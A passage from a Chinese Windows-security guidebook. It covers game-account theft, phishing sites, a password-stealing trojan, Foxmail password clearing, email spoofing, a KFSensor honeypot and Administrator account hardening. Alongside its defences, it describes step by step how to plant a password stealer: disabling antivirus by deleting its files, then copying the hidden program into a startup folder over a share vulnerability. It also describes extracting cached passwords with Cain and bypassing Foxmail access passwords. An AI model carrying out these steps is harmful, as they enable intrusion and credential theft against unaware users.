步骤5：在设置完毕之后，单击【下一步】按钮，即可打开【指定网段范围】对话框，在其中设置相应的IP地址范围，如192.168.0.1～192.168.0.88，如图4-59所示。

图　4-59　【指定网段范围】对话框

步骤6：单击【下一步】按钮，即可打开【出口带宽】对话框，在“本网段局域网出口带宽接入带宽”下拉列表中选择“10Mps及以上（办公局域网）”选项，如图4-60所示。

图　4-60　【出口带宽】对话框

步骤7：单击【完成】按钮，即可打开【监控网段配置】窗口，在其中选中要监控的网段，如图4-61所示。单击【开始监控】按钮，即可启动网络守护神服务，如图4-62所示。

图　4-61　【监控网段配置】窗口

图　4-62　启动网络守护神服务

步骤8：单击【信息提示】对话框中的【确定】按钮，即可打开【策略管理器】窗口，如图4-63所示。单击【新建策略】按钮建立一个策略，在【网络守护神】主窗口中单击【软件配置】图标，即可打开【软件选项】对话框，在其中可以对软件的各种性能进行设置，如图4-64所示。

图　4-63　【策略管理器】窗口

图　4-64　【软件选项】对话框

步骤9：在【网络守护神】主窗口中单击【攻击检测】图标，在【网络攻击检测】对话框中单击【开始】按钮，即可进行扫描，其扫描结果如图4-65所示。单击【IP绑定】图标，即可打开【IP-MAC地址绑定设置】对话框，在其中勾选“启用MAC-IP地址绑定”复选框，可以添加MAC-IP地址绑定，如图4-66所示。

图　4-65　【网络攻击检测】对话框

图　4-66　【IP-MAC地址绑定设置】对话框

第33招　行行色色的网络欺骗

网络欺骗就是使入侵者相信信息系统存在有价值的、可利用的安全弱点，并具有一些可攻击窃取的资源（当然这些资源是伪造的或不重要的），并将入侵者引向这些错误资源。它能够显著地增加入侵者的工作量、入侵复杂度以及不确定性，使入侵者不知道其进攻是否奏效或成功。而且允许防护者跟踪入侵者的行为，在入侵之前修补系统可能存在的安全漏洞。

1.网络游戏“盗号”骗术防范

所以每个玩定都对自己游戏中的角色格外关注，一旦不小心被别人盗取了号码或盗取了自己游戏角色身上的优秀装备，就会有痛不欲生之感，懊恼之极。为了提高广大游戏玩家的防盗意识，往往需要掌握一定的防盗技巧。

1）用木马盗号。使用木马盗取玩家号码是黑客最常用的一种方法，尤其是在一些公共网络场所。有人会故意在某台机器中种上木马，然后等待其他人使用这台机器玩网络游戏，一旦使用者输入了自己的游戏账号和密码，木马程序就将自动记录下账号与密码，并保存到本地磁盘某个隐藏的文件夹中，或直接发送到种植木马者的电子邮箱中。

针对这种情况，建议用户在使用电脑之前先使用杀毒软件进行查杀，特别是在公共场所使用电脑更应如此。如果为了节省时间，则可使用一些木马专杀工具，减少查杀时间。如果使用的是自己的电脑，建议安装防火墙和杀毒软件并定期查杀，从而拦截木马和病毒的入侵，使用防火墙不仅可以拦截已知木马，还可以在新型木马访问网络时提醒用户，帮助用户识别。

下面介绍手工删除传奇木马的操作方法（本操作适用于Windows NT/2000/XP/2003操作系统），具体的操作步骤如下。

步骤1：按"Ctrl+Alt+Del"组合键打开“Windows任务管理器”窗口，在其中选择“进程”标签，将传奇木马进程intren0t.exe结束。

步骤2：使用“我的电脑”窗口进入系统所有文件夹（Winnt或Windows）中，找到intren0t.exe文件将其删除。

步骤3：打开【注册表编辑器】窗口，展开到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run项，将右侧窗口中的"intren0t"="%SystemRoot%\intren0t.exe"删除。再展开到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Services注册表项，将右侧窗口中的"intren0t"="%SystemRoot%\intren0t.exe"删除。

2）远程控制方式盗号。通过远程控制方式可以远程查看和控制目标主机（肉鸡），从而拦截用户的输入，记录用户的游戏账号和密码。针对这种方式，用户同样可使用防火墙和杀毒软件进行查杀，因为现在很多杀毒软件都将具有恶意的远程控制软件加到了病毒库中，一旦发现本地计算机中运行这些程序，就会立即报告并清除。

3）利用系统漏洞盗号。这是一种通过系统漏洞在肉鸡中植入木马或远程控制工具，然后通过第一种或第二种方式进行盗号的活动。针对这种方式，用户可经常利用系统漏洞扫描工具，扫描自己的系统，发现漏洞应及时下载并安装相应的补丁，使盗号者无漏洞可以利用，保护自己的游戏账号与密码的安全。

2.网站上的钓鱼术

由于很多网络游戏都是需要使用充值卡进行充值后才能正常玩，所以有些不法分子就打起了欺骗充值而获得不法收入的主意。这些不法分子注册与游戏商网站相似的域名，并抄袭制作出与游戏商网站完全一致的操作界面欺骗迷惑广大游戏爱好者，使不知情者前往充值，从而达到骗取点卡和游戏账号与密码的目的。

（1）欺骗原理

以网易游戏《大话西游OnlineII》为例，网易点数卡充值查询中心网站域名为http://pay.163.com，而曾经欺骗广大用户的非法网站域名为http://www.pay163.com。若充值者不注意辨别，就可能将该网站错当是网易游戏《大话西游OnlineII》的充值网站。

还有一些欺骗网站与官方网络游戏网站首页完全相同，各项链接也正确链接到官方网站，但在主页公告中增加一条虚假有奖消息，点击后进入填写资料页面并说明填写后可以中奖。如果用户相信了该虚假消息并真实填写了相应资料内容，就会造成游戏账号与密码的丢失。

（2）防范方法

针对欺骗网站的情况，建议广大网络游戏玩家采取如下措施，避免上当。

1）充值时不要轻信任何非官方网站表单提交程序，一定通过搜索引擎等方式进入网络游戏公司正式页面以确保不会有危险。

2）发现欺骗网站后应及时向网络游戏公司举报，让网络游戏公司对非法网站采取屏蔽等措施，避免其他不知情玩家受骗。

（3）提高防范意识

除伪造网页外，还有些冒充网游管理员骗取玩家的账号和密码。如盗号者申请“发奖员”、“点卡验证员”等名字，利用信件频道发送一些虚假中奖消息，骗取玩家账号和密码。为防止上当受骗，广大网游玩家应具有如下防范措施：

1）在游戏中一般只有一个名字叫“游戏管理员”，其他任何名称都是假冒的，而且“游戏管理员”在游戏中一般不会向用户索取账号和密码的。

2）在游戏中如果有必要索取玩家的账号和密码进行查询时，管理员只会在游戏频道中与用户联系，不会经过其他任何途径索取玩家游戏账号和密码。

3）任何与中奖有关的信息，网游公司只会在主页以公告形式向广大用户公布，不会在游戏中直接与玩家联系。

4）如果用户在游戏过程中发现有人给自己发送中奖消息，应该马上与在线管理员联系，让网游公司进行处理。

建议广大玩家经常登录游戏官方网站，查看有无盗号的相关通知和公告。一般来说，网游公司会在发现黑客的第一时间告诉大家。只要广大玩家随时提高警惕，出现错误登录非法网站从而导致账号丢失的可能性就相当小了。

3.游戏账户破解防范

现在绝大多数网站与网络游戏登录界面上都有“记住密码”功能，若用户使用了该功能，黑客就可能会利用一款专用工具，提取保留的用户账号与密码，从而实现盗取用户密码。

下面以Cain V4.9汉化版为例介绍从缓存提取用户账号与密码的具体方法。

步骤1：下载并解压后，先安装WinPcap，双击svchost.exe图标进入其操作界面，如图4-67所示。

图　4-67　Cain主界面

步骤2：单击工具栏上的【添加到列表】按钮即可提取缓存中的账号和密码。由此可以看出，用户最好还是不使用“记录密码”功能为妙。

为了防止自己登录网站或游戏的账号与密码被盗，需记住如下几点防范措施：

1）尽量不要将账号暴露在公共论坛和其他网站，更不要使用“记住密码”功能。

2）在设置密码时尽量设置得复杂一些，位数应在8位以上，且数字、字母和其他字符混杂。

3）不要使用可轻易获得的关于自己的信息作为密码，如生日、身份证号码、手机号码、居住的街道名称、门牌号码等。

4）要经常更换密码，因为再复杂的密码也是可以被破解的，所以经常更换密码可以提高密码的安全系数。

5）申请密码保护，也就是设置安全码，安全码不要与密码相同。如果没有设置安全码，别人一旦破解了密码就可以修改全部个人资料与登录密码。

6）进行完善的用户登录权限和软件安装权限管理，并尽可能地使用一些锁定软件在短暂离开时锁定计算机，避免其他人非法使用自己的计算机。

第34招　密码大盗的伪装账户

“密码大盗”是一款专门用于盗取Windows 2000/XP管理员密码的软件，可以将其视为木马的一种，这里因为它具有木马那种隐蔽性的特征。密码大盗植入的方法有本地和远程两种，需要先了解密码大盗的这两种用法后，才能采取不同的措施将其“绳之以法”。

1.本地植入密码大盗

使用密码大盗进行“本地植入”的操行非常容易，这种方法是指黑客在当前计算机上进行密码大盗的植入后，窃取系统管理员密码的过程（如使用普通权限的账户登录被入侵主机后，再使用密码大盗进行管理员级别的账户窃取）。具体的操作步骤如下。

步骤1：从网上下载并解压“Windows密码大盗”压缩文件，双击“密码大盗”应用程序图标，会发现文件没有什么反应，只是鼠标的光标稍微动了一下，其实这时“Windows密码大盗”已经自动在系统中增加了一个超级用户名称"admin"，其密码为"stgzs"。选择【开始】→【设置】→【控制面板】→【管理工具】菜单项，即可打开【管理工具】窗口，如图4-68所示。

图　4-68　“管理工具”窗口

步骤2：双击“计算机管理”图标，即可进入【计算机管理】窗口，展开“系统工具”→“本地用户和组”→“用户”选项，即可在右侧列表中看到刚添加的"admin"账户，如图4-69所示。

图　4-69　“计算机管理”窗口

步骤3：双击"Admin"这个账户，即可弹出【Admin属性】对话框，切换至“隶属于”选项卡的设置界面后，就会发现这个账户是属于"Administrator"组的（即拥有系统管理员权限），如图4-70所示。这个隐藏"admin"账户可使任何人轻松地以系统管理员身份进入系统，而不必再考虑原有的管理员密码是多少。但如果系统中不允许设置管理员账户，则这个账户将看不到。

图　4-70　【Admin属性】对话框

步骤4：如果看不到这个"admin"账户，黑客就会等待管理员在重启计算机后用管理员账户进入一次系统后，让“Windows密码大盗”存放管理员密码的目录"C:\Windows\Temp\"中打开Config.ini文件，就可以获取管理员密码了，如图4-71所示。

图　4-71　密码显示结果

由上图可以很清楚地显示出当前的用户名是Administrator，密码是：shining0924。本地植入木马破解系统管理员密码的方法很简单，除随时查看系统中是否有多出来的系统管理员外，还应采取对系统进行严格的使用权限控制和全面加密措施，才能防患于未然。

2.远程植入密码大盗

再来看看远程植入“密码大盗”的方法，其实远程破解很容易实现，比如在扫描到具有共享漏洞的计算机后，就可以进行相应破解操作。

（1）检查病毒防火墙

在植入木马之前，有经验的黑客往往会先对对方计算机中的病毒防火墙搞些小破坏，比如个人用户常用的瑞星防火墙的安装目录通常在类似于"D:\Program Files\rising\rav"的目录中，黑客就会采取将该目录中的文件“删除”等方法来使程序成为“空架”，如图4-72所示。

图　4-72　瑞星防火墙的安装目录

（2）植入木马

解除病毒防火墙威胁后，就可以植入“Windows密码大盗”了。在本机中进入入侵计算机的"C:\Documents and Settings"目录中，查看哪个账户的桌面图标最多，就进入哪个账户的“开始”→“程序”→“启动”目录，并将其设置为隐藏属性的“Windows密码大盗”程序拷贝到该目录下，如图4-73所示。

图　4-73　“启动”窗口

当被入侵计算机的管理员再次重启系统后，就可以伺机再次利用共享漏洞登录被入侵计算机，并打开“Windows密码大盗”的密码存放文件，从而获得登录密码。

3.密码大盗防范对策

通过本地和远程植入密码大盗后看到的效果，是不是感觉危险无时不在呢？针对密码大盗的防范，建议从如下几个方面进行。

（1）查看组用户

这个方法比较直观，对于新手来说也很容易。下面以Windows XP为例，具体的操作步骤如下。

步骤1：选择【开始】→【程序】→【控制面板】→【管理工具】菜单项，即可打开【管理工具】窗口。双击“计算机管理”图标，即可进入【计算机管理】窗口。依次展开【计算机管理（本地）】→【系统工具】→【本地用户和组】→【组】选项，即可在右侧的组列表中看到Administrator组的存在，如图4-74所示。

图　4-74　“计算机管理”窗口

步骤2：双击组列表中的"Administrator"项，即可弹出【Administrator属性】对话框，在其中可看到这个组中的所有成员，从这里就可以判断出管理员组中是否存在非法用户，如图4-75所示。如果发现存在非法用户服务，如密码大盗私自添加的"Admin"账户，就应该立即选中这个账户并单击下方的【删除】按钮将其删除。

图　4-75　【Administrator属性】对话框

（2）关闭普通用户

一个管理严格的计算机系统通常不会允许有普通用户存在，因为这样会带来诸多安全隐患，所以应采取关闭普通用户或停止使用普通用户来使危险得以下降。

具体的操作步骤如下。

步骤1：在“计算机管理”窗口中展开【计算机管理（本地）】→【系统工具】→【本地用户和组】→【用户】选项，即可在右侧的组列表中看到所有存在的用户，如图4-76所示。

图　4-76　展开“用户”选项

步骤2：双击任意一个普通用户（如选择"Admin"用户），即可弹出【Admin属性】对话框，在“常规”选项卡中选择“账户已停用”选项，如图4-77所示。

图　4-77　【Admin属性】对话框

（3）组策略

在组策略中可通过一些选项的设置来管理账户。具体的操作步骤如下。

步骤1：在【运行】对话框的“运行栏”中输入"Gpedit.msc"命令，即可打开【组策略】管理窗口，如图4-78所示。展开【计算机配置】→【Windows设置】→【安全设置】→【账户策略】→【密码策略】选项，即可在右侧列表中查看密码的所有策略方式。

图　4-78　“组策略”管理窗口

步骤2：若在右侧列表中双击“密码长度最小值”选项，即可弹出【密码长度最小值属性】对话框，再在“本地安全设置”选项卡中设置“不要求密码的字符数”，如图4-79所示。

图　4-79　“本地安全设置”选项卡

步骤3：在“解释此设置”选项卡中可查看设置密码长度具体要求，如图4-80所示。

图　4-80　“解释此设置”选项卡

（4）打补丁

安全漏洞原因在于访问本地及远程文件时所使用的"Windows redirector"。由于Windows XP中的Windows redirector存在未经检测的缓冲器，因此如果有人发送某些特定的数据，就会引起缓冲器溢出，从而导致OS异常关闭，或者执行任意指令。

要想恶意使用此漏洞，就必须以对话的形式登录到对象计算机中，然后运行使用Windows redirector的程序（比如"Net Use"命令），并将特定数据读取到Windows redirector中。另外，无法远程通过网络发动攻击。因此，恶意使用此漏洞的后果是普通用户（或者知道普通用户账号的攻击者）能够取得高于允许权限的“管理员权限”，即“权限提升”。提升权限后，就会允许普通用户变更原本不允许的设置以及运行原本不允许运行的程序等。

对策为安装微软公开的补丁程序。补丁程序可以在Windows XP或Windows XP SP3环境下安装，还可以通过"Windows Update"安装。此漏洞的严重等级为“重要”，这里建议大家最好要安装。可以发现在Windows XP这样安全性已相当高的操作系统中，都会出现账户的漏洞，并且这个漏洞只需黑客有普通用户的权限就可以利用其取得管理员权限了。

针对这个防不胜防的漏洞隐患，及时打好相应的补丁程序就是最好的防范措施。另外，为了不让他人恶意地利用一些安全漏洞，将能够登录到机器上的用户设置为必要的最低权限、正确实施密码管理、在屏保中设置密码等措施，都是值得推荐使用的最基本措施。

第35招　Foxmail账户解除与防范

电子邮件容易暴露人们隐私，能够泄漏邮箱主人邮件内容、电话号码等很私密的东西。下面以国产最著名的免费邮件收发软件Foxmail6.0为例，谈谈如何防范邮箱使用口令、账户及密码防止被窃的方法。

1.邮箱使用口令的安全防范

先来了解一下Foxmail中邮箱账户使用口令的破解与防范。需要声明的是，对于以下即将了解到的破解Foxmail中邮箱账户访问口令知识，希望读者能通过此口令的破解过程知道如何善用这个方法（比方说口令遗忘时），以及学会如何防范这个可能带来的危险。

（1）Foxmail6. 0账户访问口令的设置

在使用Foxmail6.0之前应先对其进行相应的设置。

具体的操作步骤如下。

步骤1：下载并安装"Foxmail6.0"软件，双击桌面上的"Foxmail6.0"应用程序图标，即可弹出【创建新用户账户向导】对话框，在其中填写需要创建的账户名称和密码等，如图4-81所示。

图　4-81　【创建新用户账户向导】对话框

步骤2：单击【下一步】按钮，即可打开【指定邮件服务器】对话框，在其中选择接收邮件服务器的方式、邮件的帐户以及发送邮件所采用的服务器等，如图4-82所示。

图　4-82　【指定邮件服务器】对话框

步骤3：继续单击【下一步】按钮，即可打开【账户建立完成】对话框，如图4-83所示。

图　4-83　【账户建立完成】对话框

在成功创建用户账户后，再详细地讲述采用"Foxmail6.0"邮箱账户访问口令的具体设置过程了。具体的操作步骤如下。

步骤1：单击【完成】按钮，即可进入"Foxmail"主窗口。在左侧“邮箱账户”列表中右击选中任意一个建立好的邮箱账户，从快捷菜单中选择“设置账户访问口令（A）”菜单项，如图4-84所示。

图　4-84　"Foxmail"主窗口

步骤2：稍后将弹出【口令】对话框，在“请输入口令”文本框中输入所需要的口令后，单击【确定】按钮，即可结束口令设置并关闭该对话框，如图4-85所示。

图　4-85　【口令】对话框

步骤3：在口令输入正确无误后，即可弹出一个【正在收取邮件】对话框，邮件收取完成后，则相应邮箱就可以被使用了，如图4-86所示。

图　4-86　【正在收取邮件】对话框

（2）口令的破解

口令破解如果是针对他人的邮箱账户而言，是一种违法行为。但如果是因自己邮箱访问口令遗忘等原因，而破解自己邮箱账户访问口令则是一种合法行为。

破解Foxmail中邮箱账户的访问口令很容易，可通过Foxmail为每个邮箱账户设计的配置文件"Account.stg"来完成。配置文件可通过路径“C:\Program Files\Foxmail\Mail\****//****为邮箱账户名”来找到。在类似路径中找到Account.stg文件后用“写字板”程序打开，即可发现其中记录此账户包括账户访问口令、邮箱地址、邮箱密码在内的基本设置，如图4-87所示。

图　4-87　利用写字板打开"Account.stg"程序

既然这个文件包含了邮箱账户访问口令在内等信息，那么就可以通过在Foxmail中新建一个不设置访问口令的邮箱账户，将该账户下的"Account.stg"文件复制到设置口令的账户目录中，覆盖"Account.stg"文件即可清空访问口令了，如图4-88所示。

图　4-88　复制"Account.stg"文件到口令账户目录中

（3）防范

针对"Account.stg"文件带来的安全隐患，可以采用“删除账户”的方法来防范非法用户盗用账户。这是一种彻底的防范方法，删除的操作步骤如下。

步骤1：在Foxmail中选中想要删除的账户，单击【账户】→【删除】菜单项，即可将Foxmail窗口中的账户删除。

步骤2：在"C:\Program Files\Foxmail\Mail\"目录中找到在Foxmail窗口中删除的账户同名目录，按"Ctrl+Delete"组合键将其删除。

2.邮箱账户密码的防范

如果计算机是多用户环境，强烈建议不要在Foxmail中建立用户时将邮箱密码也同时设置，因为这也将会使邮箱密码拱手送人。Foxmail将密码进行简单加密后保存在"Account.stg"文件中，只要知道加密的算法及密钥，即可轻松得到该邮箱的密码以及其长度。

对于不知道算法的初级用户，网上还有很多可以利用Foxmail窃取邮箱密码的程序来得到邮箱密码。所以在多用户共同使用一台计算机的环境下，强烈建议不要设置远程邮箱密码，以免邮箱因密码失窃而永远消失。

第36招　防范邮箱账户欺骗

邮箱账户欺骗是指伪造邮箱地址发信给他人的行为，这种行为可以是恶意的，也可以用来保护自己。

1.伪造邮箱账户

邮件地址欺骗是非常简单和容易的，攻击者针对用户的电子邮件地址，取一个相似的电子邮件名（如将“发件人姓名”配置成与用户一样的发件人姓名），然后冒充该用户发送电子邮件，在他人收到邮件时，往往不会从邮件地址、邮件信息头等上面做仔细检查，从发件人姓名、邮件内容等上面又看不出异样，误以为真，攻击者从而达到欺骗的目的。

人们通常以为电子邮件的回复地址就是它的发件人地址，其实不然，发件人地址和回复地址可以不一样，熟悉电子邮件客户端使用的用户也会明白这一点，在配置账户属性或撰写邮件时，可以指定与发件人地址不同的回复地址。

由于用户在收到某个邮件时，虽然会检查发件人地址是否真实，但在回复时并不会对回复做出仔细检查，如果配合SMTP欺骗使用，发件人地址是攻击者自己的电子邮件地址，就会具有更大地欺骗性，诱骗他人将邮件发送到攻击者的电子邮箱中。

现在以一个无需SMTP服务器中转即可将邮件直接发送到目的邮件地址的软件为例，进行伪造邮箱账户并发送邮件。通过这类软件发出的信件对方往往立即可以收到，并且可以任意设定发件人邮箱地址，这就给伪造邮箱账户创造了条件。

发信人地址是随意取的，而收信人地址则是真实的。正常情况下，是无法完成这个发信操作的——因为没有这个发信人地址的存在。但是通过上图中这类特殊的邮件收发软件就可以完成邮件的发送，而收件人则立即会收到伪名发送的邮件。上述的方法是目前最常见的垃圾邮件发送方法，也是比较恶劣的一种伪造邮箱账户行为。

2.隐藏邮箱账户

有时伪造邮箱账户会带来很多好处，这就像一把枪，在战士手里就是保家卫国的武器，在劫匪手里就是一把凶器。在有些必须要输入电子邮箱地址却又对自己毫无作用的情况下，如在各大论坛注册时、申请某种网络服务时等。这个时候就可以通过伪造或隐藏邮箱账户的方法巧妙地达到“欺骗”的效果。

隐藏自己的电子邮件地址有如下两种方法。

1）干脆来个假邮箱地址，在各大论坛等需要注册时填写邮箱的地方使用。

2）使用小技巧，如将ssn@public.sq.js.cn在输入时改成ssn public.sq.js.cn，大家都会知道这个实际上就是邮箱，但一些邮箱自动搜索软件却无法识别这样的“邮箱”了。

3.追踪仿造邮箱账户发件人

绝大多数接收的邮件都有源IP地址内嵌在完整地址标题中，以帮助标识电子邮件的发送者并跟踪到发送者的服务提供商。

在Foxmail中可使用查看“邮件”→“邮件信息”→“原始信息”方法来查看详细的发送者IP及其邮件地址。如果在接收的垃圾邮件中缺少源IP，则垃圾邮件的发送者在垃圾邮件中伪造了邮件标题。

对于这类使用“连环跳板”式发来的邮件还是直接在Foxmail等软件中将其邮件主题设置成过滤状态比较现实一些，如图4-89所示。

图　4-89　“原始信息”窗口

4.防范垃圾邮件

网络中这些令人闻风色变的垃圾邮件，以其难以测知的真实邮箱地址让人怒火中烧，却又无可奈何。比较实际的方法，还是先来使用如下这些方式来做到防范于未然。

（1）垃圾邮件及其特征

垃圾邮件是指未经收件人允许或不知情情况下，以匿名或伪名的方式，给众多非法获知（恶意搜索或购买而得）的邮箱重复发送的邮件（如对同一邮箱重复发送100次广告邮件）。这种邮件具有如下主要特征：

无目的性和恶意性。

没有邮件信头或使用特殊的邮件信头。

伪造发件人。如发件人是收件人的邮箱地址。

经过很多的服务器转发，从而具有反追踪效果。

要求确认。如信件内容带有允许收件人不再接受此类邮件的描述，很多收件人信以为真，在回信表示不愿意接收信件后，结果让发送垃圾邮件者轻易知晓其邮箱真实存在。

垃圾邮件对每个网民来说都是有害的，会使网民的邮箱空间被恶意填满，从而导致真正有用的信件无法接收。其实垃圾邮件还往往具有携带病毒的特点，会使用户的邮箱甚至系统瞬间瘫痪掉。因此，作为普通的邮箱使用者，也应尽可能地做好反垃圾邮件的种种措施，采取以逸待劳的方式，让垃圾邮件来势汹汹却不能憾泰山分毫。

（2）Foxmail防范设置

1）远程管理。远程管理功能可以远程决定邮件服务器上的邮件收取与否。如果发现接收的邮件头明显具有垃圾邮件的特征，立即单击【删除】按钮将其在远程删除掉。

2）反垃圾邮件设置。在Foxmail中可以通过规则过滤、贝叶斯过滤等方法，对接收的邮件进行判断识别出是否为垃圾邮件，如果是垃圾邮件将会自动分捡到垃圾邮件箱中，从而最大程度地实现了与垃圾邮件对抗的效果。

在Foxmail主窗口中选择【工具】→【反垃圾邮件设置】菜单项，即可进入“反垃圾邮件设置”对话框，在其中可以看到多项有关垃圾邮件防范的设置项，如图4-90所示。

图　4-90　“反垃圾邮件设置”对话框

3）规则设置。这是指Foxmail使用内置的“规则库”对邮件进行对照评估。在“规则过滤”选项卡中勾选“使用规则判定接收到的邮件是否为垃圾邮件”复选框，再根据当前邮箱遭受垃圾邮件“骚扰”的程度来决定“过滤强度”的强弱，如果垃圾邮件“铺天盖地”，则设置强度应为“高”最合适，如图4-91所示。

图　4-91　“规则过滤”选项卡

4）贝叶斯过滤。这是一种智能型反垃圾邮件设计，通过让Foxmail对垃圾与非垃圾邮件的分析，来提高自身对垃圾邮件的识别准确率，如图4-92所示。若单击【学习】按钮，则会弹出【向导】对话框，在其中可以对邮件做出相应设置，如图4-93所示。

图　4-92　设置贝叶斯过滤条件

图　4-93　【向导】对话框

5）黑名单。只需将一些确认为垃圾邮件的地址输入到黑名单中，即可完成对该邮件地址发来的所有邮件监控，如图4-94所示。

图　4-94　设置黑名单

6）白名单。这是一种强制性认为是非法垃圾邮件的设计，在默认情况下，Foxmail会自动导入已被允许接收的邮件发出地址，如图4-95所示。

图　4-95　“白名单”选项卡

7）过滤器设置。选中任一个账户，选择【邮箱】→【过滤器】菜单项，即可打开【过滤管理器】对话框，如图4-96所示。单击左下角的【新建】按钮，即可弹出【过滤器】对话框，可以看出过滤器由条件选项和执行选项两部分组成，分别用来设置过滤器的作用条件和要执行的操作。由于设置非常简单，所以任何人均可立即上手进行所需设置，如图4-97所示。

图　4-96　【过滤管理器】对话框

图　4-97　【过滤器】对话框

5.邮箱使用规则

根据经验，下面介绍两条最常用的邮箱使用原则。

1）不要将自己的邮箱地址到处传播。特别是申请上网账号时ISP送的电子信箱，例如微软新闻组中就绝对不能用重要邮箱注册，否则潮水般涌来的垃圾邮件会让大家后悔莫及。

2）不要回复垃圾邮件。如果收到了垃圾邮件，请不要给发件人回复或使用任何包含在垃圾邮件中的命令。任何回信或命令的使用，都可能会告知垃圾邮件发件者邮箱地址“真实有效”，这样的邮箱地址将被放置在更多垃圾邮件列表中，将会有更多垃圾邮件和用户亲密接触。

第37招　蜜罐KFSensor很诱人

“蜜罐”技术可以模拟出一个充满漏洞的系统，当恶意入侵者得意洋洋时，用户却早已为反攻赢得了宝贵的时间。蜜罐好像是故意让人攻击的目标，引诱黑客前来攻击。所以攻击者入侵后就可以知道其是如何得逞的，随时了解针对公司服务器发动的最新攻击和漏洞。还可以通过窃听黑客之间的联系，收集黑客所用的种种工具，并且掌握其社交网络。

1.蜜罐设置

KFSensor是一款基于IDS的安全工具，通过模拟FTP、POP3、HTTP、Telnet、SMTP等服务，吸引黑客的攻击。通过详细的安全检测报告，实时监测本地计算机。

具体的操作方法如下。

步骤1：用户从网上下载并安装后，选择【开始】→【程序】→【KFSensor】→【KFSensor】菜单项，即可进入其操作界面，如图4-98所示。

图　4-98　"KFSensor"界面

步骤2：选择【Settings】→【Set Up Wizard】菜单项，即可打开设置向导对话框，如图4-99所示。单击【下一步】按钮，在如图4-100所示对话框中选择需要的模拟服务。单击【下一步】按钮，给蜜罐系统设置一个域名，如图4-101所示。

图　4-99　蜜罐设置向导

图　4-100　选择模拟的服务

图　4-101　设置域名

步骤3：单击【下一步】按钮，在其中可以输入的E-mail地址，使KFSensor能够向该邮箱发送记录信息，如图4-102所示。

图　4-102　输入邮箱地址

步骤4：单击【下一步】按钮，在如图4-103所示对话框中设置有关伪装系统的选项。单击【下一步】按钮，在其中勾选"Install as systems service"复选框，如图4-104所示。

图　4-103　设置有关选项

图　4-104　安装伪装系统

步骤5：单击【下一步】按钮，再单击【完成】按钮，即可结束设置向导，如图4-105所示。单击工具栏上的【Start Server】按钮，即可启动蜜罐程序。当KFSensor发现有人扫描本机时，图标就会变成红色，并进行报警，可以查看日志，了解黑客的扫描手法和入侵行为。

图　4-105　完成设置操作

此时若用扫描器工具对该主机进行扫描，就会发现开放的端口很多，几乎像一台刚装好系统和服务器软件的主机，连一些危险的端口都开放着，还可以扫描到NT、FTP、SQL弱口令、CGI、IIS漏洞等，但这些都是KFSensor模拟出来的。

2.蜜罐诱捕

可先采用入侵者的身份对计算机进行扫描，利用X-Scan、Spuerscan等常用的端口扫描工具，在IP处填写本机IP，将端口定义为1～65525，单击【开始】按钮进行扫描，此时，可看到本地主机开放的端口很多，连一些危险的端口也都开放着。但这些开放的危险端口都是KFSensor模拟出来的，可以发现NT、FTP、SQL弱口令、CGI、IIS漏洞等。

当发现有人扫描该计算机时，每扫描一个端口KFSensor将会对其进行实时记录，通知区域内的图标变成红色并闪烁，同时通过声音报警。此时可打开KFSensor的日志记录，分析黑客的扫描和攻击手法等信息。

KFSensor分为三部分：工具栏、端口栏和日志栏。端口栏是模拟开放的一些端口，日志栏是入侵日志的记录，双击对应端口的日志，就可以看到里面详细记录了扫描的手法，经过上面的诱捕测试，可以确认蜜罐已经安装成功。

蜜罐技术可以通过诱导让黑客们误入歧途，消耗他们的精力，为网络管理员加强防范赢得时间，同时也是用来检验网络安全策略是否正确，防线是否牢固的得力助手。

第38招　用Privacy Defender清除痕迹

Privacy Defender是一款能够真正在不重启系统情况下，擦除受系统保护的index.dat文件内容。这也是绝大多数Internet清除软件所不具有的能力。目前还没有发现有哪个软件能够做到这点。

1.Privacy Defender安全演示

这里介绍Privacy Defender一个非常值得提倡的设计“功能演示”，这个设计可让使用者以最快速度学会软件的应用。打开演示功能的方法为，在如图4-106所示的主窗口中选择【工具】→【演示】选项。

图　4-106　主窗口

2.Privacy Defender清除上网痕迹

经常上网的用户应该知道，在Internet Explorer中index.dat文件保存着所有cookies和历史记录以及缓存的索引。即使用户平时通过手工清理历史记录、删除所有Internet Explorer选项的cookies和缓存，这些操作均不能影响index.dat文件保留在曾经访问的网站列表中。

无法删除这些文件，主要因为它们是Windows操作系统的一部分，如果试图删除它们，系统会提示出错。但Privacy Defender可解决这一问题。单击【选项】按钮，在【选项】对话框中根据需要选择要删除的项，如图4-107所示。单击【确定】按钮，即可完成所有的IE相关访问痕迹的数据擦除，实现安全地上网。

图　4-107　【选项】对话框

第39招　安全管理Administrator账户

Administrator是系统安装后默认的系统管理员账户，具有对系统进行一切管理的权限。以Windows XP为例，系统管理员可管理Windows XP中的所有用户，可安装和卸载系统内核级的程序，包括内置或第三方程序、网络设置、硬件驱动等；可使用系统中所有功能。扫描软件通常都是先对Administrator账户进行密码猜解，如果不对其进行适当保护将非常危险。

1.防范更改账户名

针对Administrator账户潜在的危险，可以采取一些操作简单也很实用的方法来解决这一问题，如将账户更名，可以降低遭受攻击的可能性。具体的操作步骤如下。

步骤1：选择【开始】→【设置】→【控制面板】选项，即可打开【控制面板】窗口，如图4-108所示。

图　4-108　【控制面板】窗口

步骤2：单击【管理工具】图标，即可打开【管理工具】窗口，如图4-109所示。再单击【计算机管理】图标，即可打开【计算机管理】窗口，如图4-110所示。

图　4-109　【管理工具】窗口

图　4-110　【计算机管理】窗口

步骤3：逐层单击依次展开【计算机管理】→【系统工具】→【本地用户和组】→【用户】选项，在右侧用户列表中可看到Administrator账户名已存在，如图4-111所示。

图　4-111　Administrator账户名

步骤4：在Administrator账户名上右击将弹出右键菜单，如图4-112所示。

图　4-112　右键菜单选项

下面介绍这一菜单中几个功能的作用。

1）设置密码。单击【设置密码】选项，即可打开【为Administrator设置密码】对话框，如图4-113所示。这是一个非常有用的功能。如果当前账户遗忘了密码，可以使用其他账户登录之后，使用此项功能将账户密码修改，以便当前账户可以继续使用。

图　4-113　【为Administrator设置密码】对话框

2）删除。单击【删除】选项将弹出【本地用户和组】提示框，如图4-114所示。这是一种比较彻底的针对默认管理员账户进行安全管理的措施。单击【是】按钮，Administrator账户将会自动被删除。

图　4-114　【本地用户和组】提示框

3）重命名。重命名功能可以对Administrator账户进行伪装，例如将Administrator账户名更改为"ssn"等无法辨识出属于管理员组的账户名，这样可以在一定程度上迷惑入侵者。

2.防范仿造陷阱账户

